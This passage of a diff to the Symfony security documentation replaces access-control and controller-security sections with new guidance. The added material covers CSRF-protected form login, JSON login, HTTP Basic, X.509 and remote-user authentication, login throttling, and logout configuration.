         return static function (SecurityConfig $security) {
-            $security->enableAuthenticatorManager(true);
-
-            // ...
-            $security->firewall('main')
             // ...
+
+            $mainFirewall = $security->firewall('main');
+            $mainFirewall->formLogin()
+                // ...
+                ->enableCsrf(true)
             ;
+        };
 
-            // require ROLE_ADMIN for /admin*
-            $security->accessControl()
-                ->path('^/admin')
-                ->roles(['ROLE_ADMIN']);
+.. _csrf-login-template:
 
-            // require ROLE_ADMIN or IS_AUTHENTICATED_FULLY for /admin*
-            $security->accessControl()
-                ->path('^/admin')
-                ->roles(['ROLE_ADMIN', 'IS_AUTHENTICATED_FULLY']);
+Then, use the ``csrf_token()`` function in the Twig template to generate a CSRF
+token and store it as a hidden field of the form. By default, the HTML field
+must be called ``_csrf_token`` and the string used to generate the value must
+be ``authenticate``:
 
-            // the 'path' value can be any valid regular expression
-            // (this one will match URLs like /api/post/7298 and /api/comment/528491)
-            $security->accessControl()
-                ->path('^/api/(post|comment)/\d+$')
-                ->roles(['ROLE_USER']);
-        };
+.. code-block:: html+twig
 
-You can define as many URL patterns as you need - each is a regular expression.
-**BUT**, only **one** will be matched per request: Symfony starts at the top of
-the list and stops when it finds the first match:
+    {# templates/security/login.html.twig #}
+
+    {# ... #}
+    <form action="{{ path('login') }}" method="post">
+        {# ... the login fields #}
+
+        <input type="hidden" name="_csrf_token" value="{{ csrf_token('authenticate') }}">
+
+        <button type="submit">login</button>
+    </form>
+
+After this, you have protected your login form against CSRF attacks.
+
+.. tip::
+
+    You can change the name of the field by setting ``csrf_parameter`` and change
+    the token ID by setting  ``csrf_token_id`` in your configuration. See
+    :ref:`reference-security-firewall-form-login` for more details.
+
+JSON Login
+~~~~~~~~~~
+
+Some applications provide an API that is secured using tokens. These
+applications may use an endpoint that provides these tokens based on a
+username and password. The JSON login authenticator helps you create this
+functionality.
+
+Enable the authenticator using the ``json_login`` setting:
 
 .. configuration-block::
 
@@ -904,20 +953,19 @@ the list and stops when it finds the first match:
         security:
             # ...
 
-            access_control:
-                # matches /admin/users/*
-                - { path: '^/admin/users', roles: ROLE_SUPER_ADMIN }
-
-                # matches /admin/* except for anything matching the above rule
-                - { path: '^/admin', roles: ROLE_ADMIN }
+            firewalls:
+                main:
+                    # ...
+                    json_login:
+                        check_path: api_login
 
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
         <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xsi:schemaLocation="http://symfony.com/schema/dic/services
                 https://symfony.com/schema/dic/services/services-1.0.xsd
                 http://symfony.com/schema/dic/security
@@ -925,9 +973,9 @@ the list and stops when it finds the first match:
 
             <config>
                 <!-- ... -->
-
-                <rule path="^/admin/users" role="ROLE_SUPER_ADMIN"/>
-                <rule path="^/admin" role="ROLE_ADMIN"/>
+                <firewall name="main">
+                    <json-login check-path="api_login"/>
+                </firewall>
             </config>
         </srv:container>
 
@@ -939,238 +987,232 @@ the list and stops when it finds the first match:
         return static function (SecurityConfig $security) {
             // ...
 
-            $security->accessControl()
-                ->path('^/admin/users')
-                ->roles(['ROLE_SUPER_ADMIN']);
-
-            $security->accessControl()
-                ->path('^/admin')
-                ->roles(['ROLE_ADMIN']);
+            $mainFirewall = $security->firewall('main');
+            $mainFirewall->jsonLogin()
+                ->checkPath('api_login')
+            ;
         };
 
-Prepending the path with ``^`` means that only URLs *beginning* with the
-pattern are matched. For example, a path of ``/admin`` (without the ``^``)
-would match ``/admin/foo`` but would also match URLs like ``/foo/admin``.
+.. note::
 
-Each ``access_control`` can also match on IP address, hostname and HTTP methods.
-It can also be used to redirect a user to the ``https`` version of a URL pattern.
-See :doc:`/security/access_control`.
-
-.. _security-securing-controller:
+    The ``check_path`` supports URLs and route names (but cannot have
+    mandatory wildcards - e.g. ``/login/{foo}`` where ``foo`` has no
+    default value).
 
-Securing Controllers and other Code
-...................................
-
-You can deny access from inside a controller::
+The authenticator runs when a client request the ``check_path``. First,
+create a controller for this path:
 
-    // src/Controller/AdminController.php
-    // ...
+.. code-block:: terminal
 
-    public function adminDashboard(): Response
-    {
-        $this->denyAccessUnlessGranted('ROLE_ADMIN');
+    $ php bin/console make:controller --no-template ApiLogin
 
-        // or add an optional message - seen by developers
-        $this->denyAccessUnlessGranted('ROLE_ADMIN', null, 'User tried to access a page without having ROLE_ADMIN');
-    }
+     created: src/Controller/ApiLoginController.php
 
-That's it! If access is not granted, a special
-:class:`Symfony\\Component\\Security\\Core\\Exception\\AccessDeniedException`
-is thrown and no more code in your controller is called. Then, one of two things
-will happen:
+.. code-block:: php
 
-1) If the user isn't logged in yet, they will be asked to log in (e.g. redirected
-   to the login page).
+    // src/Controller/ApiLoginController.php
+    namespace App\Controller;
 
-2) If the user *is* logged in, but does *not* have the ``ROLE_ADMIN`` role, they'll
-   be shown the 403 access denied page (which you can
-   :ref:`customize <controller-error-pages-by-status-code>`).
+    use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\HttpFoundation\Response;
+    use Symfony\Component\Routing\Annotation\Route;
 
-.. _security-securing-controller-annotations:
+    class ApiLoginController extends AbstractController
+    {
+        #[Route('/api/login', name: 'api_login')]
+        public function index(): Response
+        {
+            return $this->json([
+                'message' => 'Welcome to your new controller!',
+                'path' => 'src/Controller/ApiLoginController.php',
+            ]);
+        }
+    }
 
-Thanks to the SensioFrameworkExtraBundle, you can also secure your controller
-using annotations:
+This login controller will be called after the authenticator successfully
+authenticates the user. You can get the authenticated user, generate a
+token (or whatever you need to return) and return the JSON response:
 
 .. code-block:: diff
 
-      // src/Controller/AdminController.php
       // ...
+    + use App\Entity\User;
+    + use Symfony\Component\Security\Http\Attribute\CurrentUser;
 
-    + use Sensio\Bundle\FrameworkExtraBundle\Configuration\IsGranted;
-
-    + /**
-    +  * Require ROLE_ADMIN for *every* controller method in this class.
-    +  *
-    +  * @IsGranted("ROLE_ADMIN")
-    +  */
-      class AdminController extends AbstractController
+      class ApiLoginController extends AbstractController
       {
-    +     /**
-    +      * Require ROLE_ADMIN for only this controller method.
-    +      *
-    +      * @IsGranted("ROLE_ADMIN")
-    +      */
-          public function adminDashboard(): Response
+          #[Route('/api/login', name: 'api_login')]
+    -     public function index(): Response
+    +     public function index(#[CurrentUser] User $user): Response
           {
-              // ...
+    +         $token = ...; // somehow create a token for $user
+    +
+              return $this->json([
+    -             'message' => 'Welcome to your new controller!',
+    -             'path' => 'src/Controller/ApiLoginController.php',
+    +             'user'  => $user->getUserIdentifier(),
+    +             'token' => $token,
+              ]);
           }
       }
 
-For more information, see the `FrameworkExtraBundle documentation`_.
-
-.. _security-template:
-
-Access Control in Templates
-...........................
+.. note::
 
-If you want to check if the current user has a certain role, you can use
-the built-in ``is_granted()`` helper function in any Twig template:
+    The ``#[CurrentUser]`` can only be used in controller arguments to
+    retrieve the authenticated user. In services, you would use
+    :method:`Symfony\\Component\\Security\\Core\\Security::getUser`.
 
-.. code-block:: html+twig
+That's it! To summarize the process:
 
-    {% if is_granted('ROLE_ADMIN') %}
-        <a href="...">Delete</a>
-    {% endif %}
+#. A client (e.g. the front-end) makes a *POST request* with the
+   ``Content-Type: application/json`` header to ``/api/login``:
 
-Securing other Services
-.......................
+   .. code-block:: json
 
-See :doc:`/security/securing_services`.
+        {
+            "username": "dunglas",
+            "password": "MyPassword"
+        }
+#. The security system intercepts the request, checks the user's submitted
+   credentials and authenticates the user. If the credentials is incorrect,
+   an HTTP 401 Unauthorized JSON response is returned, otherwise your
+   controller is run;
+#. Your controller creates the correct response:
 
-Setting Individual User Permissions
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+   .. code-block:: json
 
-Most applications require more specific access rules. For instance, a user
-should be able to only edit their *own* comments on a blog. Voters allow you
-to write *whatever* business logic you need to determine access. Using
-these voters is similar to the role-based access checks implemented in the
-previous chapters. Read :doc:`/security/voters` to learn how to implement
-your own voter.
+        {
+            "user": "dunglas",
+            "token": "45be42..."
+        }
 
-Checking to see if a User is Logged In (IS_AUTHENTICATED_FULLY)
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+.. tip::
 
-If you *only* want to check if a user is logged in (you don't care about roles),
-you have two options. First, if you've given *every* user ``ROLE_USER``, you can
-check for that role. Otherwise, you can use a special "attribute" in place of a
-role::
+    The JSON request format can be configured under the ``json_login`` key.
+    See :ref:`reference-security-firewall-json-login` for more details.
 
-    // ...
+.. _security-http_basic:
 
-    public function adminDashboard(): Response
-    {
-        $this->denyAccessUnlessGranted('IS_AUTHENTICATED_FULLY');
+HTTP Basic
+~~~~~~~~~~
 
-        // ...
-    }
+`HTTP Basic authentication`_ is a standardized HTTP authentication
+framework. It asks credentials (username and password) using a dialog in
+the browser and the HTTP basic authenticator of Symfony will verify these
+credentials.
 
-You can use ``IS_AUTHENTICATED_FULLY`` anywhere roles are used: like
-``access_control`` or in Twig.
+Add the ``http_basic`` key to your firewall to enable HTTP Basic
+authentication:
 
-``IS_AUTHENTICATED_FULLY`` isn't a role, but it kind of acts like one, and every
-user that has logged in will have this. Actually, there are some special attributes
-like this:
+.. configuration-block::
 
-* ``IS_AUTHENTICATED_REMEMBERED``: *All* logged in users have this, even
-  if they are logged in because of a "remember me cookie". Even if you don't
-  use the :doc:`remember me functionality </security/remember_me>`,
-  you can use this to check if the user is logged in.
+    .. code-block:: yaml
 
-* ``IS_AUTHENTICATED_FULLY``: This is similar to ``IS_AUTHENTICATED_REMEMBERED``,
-  but stronger. Users who are logged in only because of a "remember me cookie"
-  will have ``IS_AUTHENTICATED_REMEMBERED`` but will not have ``IS_AUTHENTICATED_FULLY``.
+        # config/packages/security.yaml
+        security:
+            # ...
 
-* ``IS_AUTHENTICATED_ANONYMOUSLY``: *All* users (even anonymous ones) have
-  this - this is useful when defining a list of URLs with no access restriction
-  - some details are in :doc:`/security/access_control`.
+            firewalls:
+                main:
+                    # ...
+                    http_basic:
+                        realm: Secured Area
 
-* ``IS_ANONYMOUS``: *Only* anonymous users are matched by this attribute.
+    .. code-block:: xml
 
-* ``IS_REMEMBERED``: *Only* users authenticated using the
-  :doc:`remember me functionality </security/remember_me>`, (i.e. a
-  remember-me cookie).
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
 
-* ``IS_IMPERSONATOR``: When the current user is
-  :doc:`impersonating </security/impersonating_user>` another user in this
-  session, this attribute will match.
+            <config>
+                <!-- ... -->
+                <firewall name="main">
+                    <http-basic realm="Secured Area"/>
+                </firewall>
+            </config>
+        </srv:container>
 
-.. versionadded:: 5.1
+    .. code-block:: php
 
-    The ``IS_ANONYMOUS``, ``IS_REMEMBERED`` and ``IS_IMPERSONATOR``
-    attributes were introduced in Symfony 5.1.
+        // config/packages/security.php
+        use Symfony\Config\SecurityConfig;
 
-.. _retrieving-the-user-object:
+        return static function (SecurityConfig $security) {
+            $mainFirewall = $security->firewall('main');
+            $mainFirewall->httpBasic()
+                ->realm('Secured Area')
+            ;
+        };
 
-5a) Fetching the User Object
-----------------------------
+That's it! Whenever an unauthenticated user tries to visit a protected
+page, Symfony will inform the browser that it needs to start HTTP basic
+authentication (using the ``WWW-Authenticate`` response header). Then, the
+authenticator verifies the credentials and authenticates the user.
 
-After authentication, the ``User`` object of the current user can be accessed
-via the ``getUser()`` shortcut::
+.. note::
 
-    public function index(): Response
-    {
-        // usually you'll want to make sure the user is authenticated first
-        $this->denyAccessUnlessGranted('IS_AUTHENTICATED_FULLY');
+    You cannot use :ref:`log out <security-logging-out>` with the HTTP
+    basic authenticator. Even if you log out from Symfony, your browser
+    "remembers" your credentials and will send them on every request.
 
-        // returns your User object, or null if the user is not authenticated
-        // use inline documentation to tell your editor your exact User class
-        /** @var \App\Entity\User $user */
-        $user = $this->getUser();
+Login Link
+~~~~~~~~~~
 
-        // Call whatever methods you've added to your User class
-        // For example, if you added a getFirstName() method, you can use that.
-        return new Response('Well hi there '.$user->getFirstName());
-    }
+Login links are a passwordless authentication mechanism. The user will
+receive a short-lived link (e.g. via email) which will authenticate them to the
+website.
 
-5b) Fetching the User from a Service
-------------------------------------
+You can learn all about this authenticator in :doc:`/security/login_link`.
 
-If you need to get the logged in user from a service, use the
-:class:`Symfony\\Component\\Security\\Core\\Security` service::
+X.509 Client Certificates
+~~~~~~~~~~~~~~~~~~~~~~~~~
 
-    // src/Service/ExampleService.php
-    // ...
+When using client certificates, your web server does all the authentication
+itself. The X.509 authenticator provided by Symfony extracts the email from
+the "distinguished name" (DN) of the client certificate. Then, it uses this
+email as user identifier in the user provider.
 
-    use Symfony\Component\Security\Core\Security;
+First, configure your web server to enable client certificate verification
+and to expose the certificate's DN to the Symfony application:
 
-    class ExampleService
-    {
-        private $security;
+.. configuration-block::
 
-        public function __construct(Security $security)
-        {
-            // Avoid calling getUser() in the constructor: auth may not
-            // be complete yet. Instead, store the entire Security object.
-            $this->security = $security;
-        }
+    .. code-block:: nginx
 
-        public function someMethod()
-        {
-            // returns User object or null if not authenticated
-            $user = $this->security->getUser();
+        server {
+            # ...
 
-            // ...
-        }
-    }
+            ssl_client_certificate /path/to/my-custom-CA.pem;
 
-Fetch the User in a Template
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+            # enable client certificate verification
+            ssl_verify_client optional;
+            ssl_verify_depth 1;
 
-In a Twig Template the user object is available via the ``app.user`` variable
-thanks to the :ref:`Twig global app variable <twig-app-variable>`:
+            location / {
+                # pass the DN as "SSL_CLIENT_S_DN" to the application
+                fastcgi_param SSL_CLIENT_S_DN $ssl_client_s_dn;
 
-.. code-block:: html+twig
+                # ...
+            }
+        }
 
-    {% if is_granted('IS_AUTHENTICATED_FULLY') %}
-        <p>Email: {{ app.user.email }}</p>
-    {% endif %}
+    .. code-block:: apache
 
-.. _security-logging-out:
+        # ...
+        SSLCACertificateFile "/path/to/my-custom-CA.pem"
+        SSLVerifyClient optional
+        SSLVerifyDepth 1
 
-Logging Out
------------
+        # pass the DN to the application
+        SSLOptions +StdEnvVars
 
-To enable logging out, activate the  ``logout`` config parameter under your firewall:
+Then, enable the X.509 authenticator using ``x509`` on your firewall:
 
 .. configuration-block::
 
@@ -1183,11 +1225,8 @@ To enable logging out, activate the  ``logout`` config parameter under your fire
             firewalls:
                 main:
                     # ...
-                    logout:
-                        path:   app_logout
-
-                        # where to redirect after logout
-                        # target: app_any_route
+                    x509:
+                        provider: your_user_provider
 
     .. code-block:: xml
 
@@ -1204,9 +1243,9 @@ To enable logging out, activate the  ``logout`` config parameter under your fire
             <config>
                 <!-- ... -->
 
-                <firewall name="secured_area">
+                <firewall name="main">
                     <!-- ... -->
-                    <logout path="app_logout"/>
+                    <x509 provider="your_user_provider"/>
                 </firewall>
             </config>
         </srv:container>
@@ -1217,184 +1256,1078 @@ To enable logging out, activate the  ``logout`` config parameter under your fire
         use Symfony\Config\SecurityConfig;
 
         return static function (SecurityConfig $security) {
-            // ...
-
-            $security->firewall('secured_area')
-                // ...
-                ->logout()
-                    ->path('app_logout');
+            $mainFirewall = $security->firewall('main');
+            $mainFirewall->x509()
+                ->provider('your_user_provider')
+            ;
         };
 
-Next, you'll need to create a route for this URL (but not a controller):
+By default, Symfony extracts the email address from the DN in two different
+ways:
 
-.. configuration-block::
-
-    .. code-block:: php-annotations
-
-        // src/Controller/SecurityController.php
-        namespace App\Controller;
+#. First, it tries the ``SSL_CLIENT_S_DN_Email`` server parameter, which is
+   exposed by Apache;
+#. If it is not set (e.g. when using Nginx), it uses ``SSL_CLIENT_S_DN`` and
+   matches the value following ``emailAddress=``.
 
-        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
-        use Symfony\Component\Routing\Annotation\Route;
+You can customize the name of both parameters under the ``x509`` key. See
+:ref:`the configuration reference <reference-security-firewall-x509>` for
+more details.
 
-        class SecurityController extends AbstractController
-        {
-            /**
-             * @Route("/logout", name="app_logout", methods={"GET"})
-             */
-            public function logout(): void
-            {
-                // controller can be blank: it will never be executed!
-                throw new \Exception('Don\'t forget to activate logout in security.yaml');
-            }
-        }
+Remote Users
+~~~~~~~~~~~~
 
-    .. code-block:: php-attributes
+Besides client certificate authentication, there are more web server
+modules that pre-authenticate a user (e.g. kerberos). The remote user
+authenticator provides a basic integration for these services.
 
-        // src/Controller/SecurityController.php
-        namespace App\Controller;
+These modules often expose the authenticated user in the ``REMOTE_USER``
+environment variable. The remote user authenticator uses this value as the
+user identifier to load the corresponding user.
 
-        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
-        use Symfony\Component\Routing\Annotation\Route;
+Enable remote user authentication using the ``remote_user`` key:
 
-        class SecurityController extends AbstractController
-        {
-            #[Route('/logout', name: 'app_logout', methods: ['GET'])]
-            public function logout()
-            {
-                // controller can be blank: it will never be executed!
-                throw new \Exception('Don\'t forget to activate logout in security.yaml');
-            }
-        }
+.. configuration-block::
 
     .. code-block:: yaml
 
-        # config/routes.yaml
-        app_logout:
-            path: /logout
-            methods: GET
+        # config/packages/security.yaml
+        security:
+            firewalls:
+                main:
+                    # ...
+                    remote_user:
+                        provider: your_user_provider
 
     .. code-block:: xml
 
-        <!-- config/routes.xml -->
+        <!-- config/packages/security.xml -->
         <?xml version="1.0" encoding="UTF-8" ?>
-        <routes xmlns="http://symfony.com/schema/routing"
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/routing
-                https://symfony.com/schema/routing/routing-1.0.xsd">
-
-            <route id="app_logout" path="/logout" methods="GET"/>
-        </routes>
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
 
-    ..  code-block:: php
+            <config>
+                <firewall name="main">
+                    <remote-user provider="your_user_provider"/>
+                </firewall>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $mainFirewall = $security->firewall('main');
+            $mainFirewall->remoteUser()
+                ->provider('your_user_provider')
+            ;
+        };
+
+.. tip::
+
+    You can customize the name of this server variable under the
+    ``remote_user`` key. See
+    :ref:`the configuration reference <reference-security-firewall-remote-user>`
+    for more details.
+
+Limiting Login Attempts
+~~~~~~~~~~~~~~~~~~~~~~~
+
+.. versionadded:: 5.2
+
+    Login throttling was introduced in Symfony 5.2.
+
+Symfony provides basic protection against `brute force login attacks`_.
+You must enable this using the ``login_throttling`` setting:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            # you must use the authenticator manager
+            enable_authenticator_manager: true
+
+            firewalls:
+                # ...
+
+                main:
+                    # ...
+
+                    # by default, the feature allows 5 login attempts per minute
+                    login_throttling: null
+
+                    # configure the maximum login attempts (per minute)
+                    login_throttling:
+                        max_attempts: 3
+
+                    # configure the maximum login attempts in a custom period of time
+                    login_throttling:
+                        max_attempts: 3
+                        interval: '15 minutes'
+
+                    # use a custom rate limiter via its service ID
+                    login_throttling:
+                        limiter: app.my_login_rate_limiter
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8"?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <!-- you must use the authenticator manager -->
+            <config enable-authenticator-manager="true">
+                <!-- ... -->
+
+                <firewall name="main">
+                    <!-- by default, the feature allows 5 login attempts per minute -->
+                    <login-throttling/>
+
+                    <!-- configure the maximum login attempts (per minute) -->
+                    <login-throttling max-attempts="3"/>
+
+                    <!-- configure the maximum login attempts in a custom period of time -->
+                    <login-throttling max-attempts="3" interval="15 minutes"/>
+
+                    <!-- use a custom rate limiter via its service ID -->
+                    <login-throttling limiter="app.my_login_rate_limiter"/>
+                </firewall>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $security->enableAuthenticatorManager(true);
+
+            $mainFirewall = $security->firewall('main');
+
+            // by default, the feature allows 5 login attempts per minute
+            $mainFirewall->loginThrottling();
+
+            // configure the maximum login attempts (per minute)
+            $mainFirewall->loginThrottling()
+                ->maxAttempts(3)
+            ;
+
+            // configure the maximum login attempts in a custom period of time
+            $mainFirewall->loginThrottling()
+                ->maxAttempts(3)
+                ->interval('15 minutes')
+            ;
+        };
+
+.. versionadded:: 5.3
+
+    The ``login_throttling.interval`` option was introduced in Symfony 5.3.
+
+By default, login attempts are limited on ``max_attempts`` (default: 5)
+failed requests for ``IP address + username`` and ``5 * max_attempts``
+failed requests for ``IP address``. The second limit protects against an
+attacker using multiple usernames from bypassing the first limit, without
+distrupting normal users on big networks (such as offices).
+
+.. tip::
+
+    Limiting the failed login attempts is only one basic protection against
+    brute force attacks. The `OWASP Brute Force Attacks`_ guidelines mention
+    several other protections that you should consider depending on the
+    level of protection required.
+
+If you need a more complex limiting algorithm, create a class that implements
+:class:`Symfony\\Component\\HttpFoundation\\RateLimiter\\RequestRateLimiterInterface`
+(or use
+:class:`Symfony\\Component\\Security\\Http\\RateLimiter\\DefaultLoginRateLimiter`)
+and set the ``limiter`` option to its service ID:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        framework:
+            rate_limiter:
+                # define 2 rate limiters (one for username+IP, the other for IP)
+                username_ip_login:
+                    policy: token_bucket
+                    limit: 5
+                    rate: { interval: '5 minutes' }
+
+                ip_login:
+                    policy: sliding_window
+                    limit: 50
+                    interval: '15 minutes'
+
+        services:
+            # our custom login rate limiter
+            app.login_rate_limiter:
+                class: Symfony\Component\Security\Http\RateLimiter\DefaultLoginRateLimiter
+                arguments:
+                    # globalFactory is the limiter for IP
+                    $globalFactory: '@limiter.ip_login'
+                    # localFactory is the limiter for username+IP
+                    $localFactory: '@limiter.username_ip_login'
+
+        security:
+            firewalls:
+                main:
+                    # use a custom rate limiter via its service ID
+                    login_throttling:
+                        limiter: app.login_rate_limiter
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8"?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <framework:config>
+                <framework:rate-limiter>
+                    <!-- define 2 rate limiters (one for username+IP, the other for IP) -->
+                    <framework:limiter name="username_ip_login"
+                        policy="token_bucket"
+                        limit="5"
+                    >
+                        <framework:rate interval="5 minutes"/>
+                    </framework:limiter>
+
+                    <framework:limiter name="ip_login"
+                        policy="sliding_window"
+                        limit="50"
+                        interval="15 minutes"
+                    />
+                </framework:rate-limiter>
+            </framework:config>
+
+            <srv:services>
+                <!-- our custom login rate limiter -->
+                <srv:service id="app.login_rate_limiter"
+                    class="Symfony\Component\Security\Http\RateLimiter\DefaultLoginRateLimiter"
+                >
+                    <!-- 1st argument is the limiter for IP -->
+                    <srv:argument type="service" id="limiter.ip_login"/>
+                    <!-- 2nd argument is the limiter for username+IP -->
+                    <srv:argument type="service" id="limiter.username_ip_login"/>
+                </srv:service>
+            </srv:services>
+
+            <config>
+                <firewall name="main">
+                    <!-- use a custom rate limiter via its service ID -->
+                    <login-throttling limiter="app.login_rate_limiter"/>
+                </firewall>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use Symfony\Component\DependencyInjection\ContainerBuilder;
+        use Symfony\Component\DependencyInjection\Reference;
+        use Symfony\Component\Security\Http\RateLimiter\DefaultLoginRateLimiter;
+        use Symfony\Config\FrameworkConfig;
+        use Symfony\Config\SecurityConfig;
+
+        return static function (ContainerBuilder $container, FrameworkConfig $framework, SecurityConfig $security) {
+            $framework->rateLimiter()
+                ->limiter('username_ip_login')
+                    ->policy('token_bucket')
+                    ->limit(5)
+                    ->rate()
+                        ->interval('5 minutes')
+            ;
+
+            $framework->rateLimiter()
+                ->limiter('ip_login')
+                    ->policy('sliding_window')
+                    ->limit(50)
+                    ->interval('15 minutes')
+            ;
+
+            $container->register('app.login_rate_limiter', DefaultLoginRateLimiter::class)
+                ->setArguments([
+                    // 1st argument is the limiter for IP
+                    new Reference('limiter.ip_login'),
+                    // 2nd argument is the limiter for username+IP
+                    new Reference('limiter.username_ip_login'),
+                ]);
+
+            $security->firewall('main')
+                ->loginThrottling()
+                    ->limiter('app.login_rate_limiter')
+            ;
+        };
+
+.. _security-logging-out:
+
+Logging Out
+-----------
+
+To enable logging out, activate the  ``logout`` config parameter under your firewall:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            # ...
+
+            firewalls:
+                main:
+                    # ...
+                    logout:
+                        path: app_logout
+
+                        # where to redirect after logout
+                        # target: app_any_route
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <config>
+                <!-- ... -->
+
+                <firewall name="main">
+                    <!-- ... -->
+                    <logout path="app_logout"/>
+
+                    <!-- use "target" to configure where to redirect after logout
+                    <logout path="app_logout" target="app_any_route"/>
+                    -->
+                </firewall>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            // ...
+
+            $mainFirewall = $security->firewall('main');
+            // ...
+            $mainFirewall->logout()
+                ->path('app_logout')
+
+                // where to redirect after logout
+                // ->target('app_any_route')
+            ;
+        };
+
+Next, you need to create a route for this URL (but not a controller):
+
+.. configuration-block::
+
+    .. code-block:: php-annotations
+
+        // src/Controller/SecurityController.php
+        namespace App\Controller;
+
+        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\Routing\Annotation\Route;
+
+        class SecurityController extends AbstractController
+        {
+            /**
+             * @Route("/logout", name="app_logout", methods={"GET"})
+             */
+            public function logout(): void
+            {
+                // controller can be blank: it will never be called!
+                throw new \Exception('Don\'t forget to activate logout in security.yaml');
+            }
+        }
+
+    .. code-block:: php-attributes
+
+        // src/Controller/SecurityController.php
+        namespace App\Controller;
+
+        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\Routing\Annotation\Route;
+
+        class SecurityController extends AbstractController
+        {
+            #[Route('/logout', name: 'app_logout', methods: ['GET'])]
+            public function logout()
+            {
+                // controller can be blank: it will never be called!
+                throw new \Exception('Don\'t forget to activate logout in security.yaml');
+            }
+        }
+
+    .. code-block:: yaml
+
+        # config/routes.yaml
+        app_logout:
+            path: /logout
+            methods: GET
+
+    .. code-block:: xml
+
+        <!-- config/routes.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <routes xmlns="http://symfony.com/schema/routing"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/routing
+                https://symfony.com/schema/routing/routing-1.0.xsd">
+
+            <route id="app_logout" path="/logout" methods="GET"/>
+        </routes>
+
+    ..  code-block:: php
+
+        // config/routes.php
+        use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
+
+        return function (RoutingConfigurator $routes) {
+            $routes->add('app_logout', '/logout')
+                ->methods(['GET'])
+            ;
+        };
+
+That's it! By sending a user to the ``app_logout`` route (i.e. to ``/logout``)
+Symfony will un-authenticate the current user and redirect them.
+
+Customizing Logout
+~~~~~~~~~~~~~~~~~~
+
+.. versionadded:: 5.1
+
+    The ``LogoutEvent`` was introduced in Symfony 5.1. Prior to this
+    version, you had to use a
+    :ref:`logout success handler <reference-security-logout-success-handler>`
+    to customize the logout.
+
+In some cases you need to run extra logic upon logout (e.g. invalidate
+some tokens) or want to customize what happens after a logout. During
+logout, a :class:`Symfony\\Component\\Security\\Http\\Event\\LogoutEvent`
